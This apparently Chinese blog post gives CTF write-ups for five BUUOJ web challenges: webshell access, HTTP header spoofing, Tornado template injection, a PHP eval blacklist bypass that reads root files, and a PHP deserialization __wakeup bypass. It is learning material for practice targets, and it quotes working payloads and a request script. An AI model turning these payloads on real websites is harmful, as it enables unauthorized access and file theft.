2021-06-05 CTF Webbuuoj day13

[极客大挑战 2019]Knife

类型

文件上传

解题

题目提示明显,一句话木马,使用蚁剑链接即可:
打开蚁剑右键添加数据:
蚁剑添加数据
地址为http://c2b35217-f0ba-463b-8473-d7073fc15a13.node3.buuoj.cn/index.php
连接密码提示了“Syc”
密码
添加数据
双击即可打开文件目录,到根目录/下就可以看到flag:flag{a35c070b-f7de-47ff-bc05-7eb23ae293d3}
根目录下
flag

[极客大挑战 2019]Http

类型

HTTP协议

解题

页面打开后查看源代码,
页面
Secret.php
链接点过去后看到
Secret.php
It doesn’t come from ‘https://www.Sycsecret.com’,是表示请求不是来自这个链接

Referer:先前网页的地址,当前请求网页紧随其后,即来路

class urllib.request.Request(url, data=None, headers={}, origin_req_host=None, unverifiable=False, method=None)

import requests
url = 'http://node3.buuoj.cn:29998/Secret.php'
headers = {"Referer" : "https://www.Sycsecret.com"}
r = requests.get(url, headers = headers)
print(r.text)

返回“Please use “Syclover””,表示用Syclover发出请求
Please use "Syclover"

User-Agent:User-Agent的内容包含发出请求的用户信息

headers['User-Agent'] = "Syclover"
r = requests.get(url, headers = headers)
print(r.text)

No!!! you can only read this locally!!!
返回“No!!! you can only read this locally!!!”,表示得从本地请求

X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP

headers['X-Forwarded-For'] = "127.0.0.1"
r = requests.get(url, headers = headers)
print(r.text)

看到flag:flag{3cd8ec02-48d1-4cfd-8aab-59dc1671248a}
flag

[护网杯 2018]easy_tornado

类型

SSTI服务器端模板注入(Server-Side Template Injection)
SSTI利用的是现在的网站模板引擎,主要针对python、php、java的一些网站处理框架,比如Python的jinja2,mako,tornado,django,php的smarty twig,java的jade,velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

解题

题目
flag.txt
welcome.txt
hints.txt
/file?filename=/fllllllllllllag尝试访问/fllllllllllllag
Error
这里就是SSTI注入点,测试error?msg={{123}}返回
SSTI注入点
注入handler.settings(至于为什么,也是看WP,想看官方文档可是加载不出来。。。)
cookie_secret
/fllllllllllllag的hash(filename)=3bf9f6cf685a6dd8defadabfb41a03a1,这里还得加/
再加上cookie_secret一起取md5可以得到flag:flag{71bcb7a2-bf4b-421b-96f7-27092c224de6}
md5计算
flag

[RoarCTF 2019]Easy Calc

类型

php代码执行

解题

  1. 首先输入1+1,计算,答案:2。再右键查看源代码script中给出了URL:calc.php。url为calc.php?num=URL编码后输入内容;类型是GET请求;成功返回值,如果运行失败将alert弹窗“这啥?算不来!”因此,下一步看calc.php怎么样能成功。
    右键查看页面源代码
  2. 访问/calc.php看到提示源代码,如下图,判断num是否传参,如果没给值,显示页面;如果给值,赋值给str,设置一些符号黑名单,如果匹配到这些符号,退出脚本提示“what are you want to do?”,如果黑名单绕过就eval执行代码echo str;
    calc.php
  3. 构造payload首先检测到有waf,先用空格绕过waf对num输入值的限制,即/calc.php?%20num=
  4. echo回显字符可以用var_dump()打印变量,要打印变量是scandir()显示目录,要显示根目录/,这属于黑名单限制,这里用chr(47)绕过黑名单。即构造payload为/calc.php?%20num=var_dump(scandir(chr(47)))
    根目录扫描
  5. 再file_get_contents把这个f1agg读入一个字符串,echo打印多个字符串用逗号拼接,构造payload为/calc.php?%20num=var_dump(scandir(chr(47))),var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
    flag

[极客大挑战 2019]PHP

类型

php反序列化

解题

  1. 打开页面提示有备份文件,扫描目录
    有备份文件
    dirsearch

  2. 打开后下载zip文件并解压,分别打开index.php、class.php、flag.php。
    www.zip

  3. index.php中包含了class.php,get方法传入了select参数(所以这个是我们可以用来构造payload的注入点了),下一句就是这道题的题眼反序列化之后赋值给变量res,所以序列化也是构造一个变量。
    index.php

  4. 从index知道注入点之后再看include的关键文件class.php,看怎么构造payload。class Name类定义了两个变量username,password。三个魔术方法,__construct( )、__destruct ( ) 、__wakeup ( ) 。这里destruct方法如果变量password=100,username=admin,就可以echo flag~~~。于是有了payload思路:先new一个对象,按上面说的给password\username变量分别赋值100\admin,然后先序列化这个变量,通过get请求传给select方法反序列化,反序列化完成后执行destruct看到flag了。
    class.php

  5. class.php里加上几行代码执行出序列化的变量:
    修改代码执行序列化操作
    O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
    执行结果
    这里加上urlencode是因为private变量比较特殊,序列化后变量名前都带着类名,而且还用%00开头
    这个直接当作payload用get传给select不会显示,是因为unserialize()会先调用wakeup,这是username被改为guest。所以这里需要一个绕过技巧,即如果变量个数超过实际变量个数就不会执行wakeup,直接执行destruct。于是修改最终payload为:O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
    得到flag
    flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值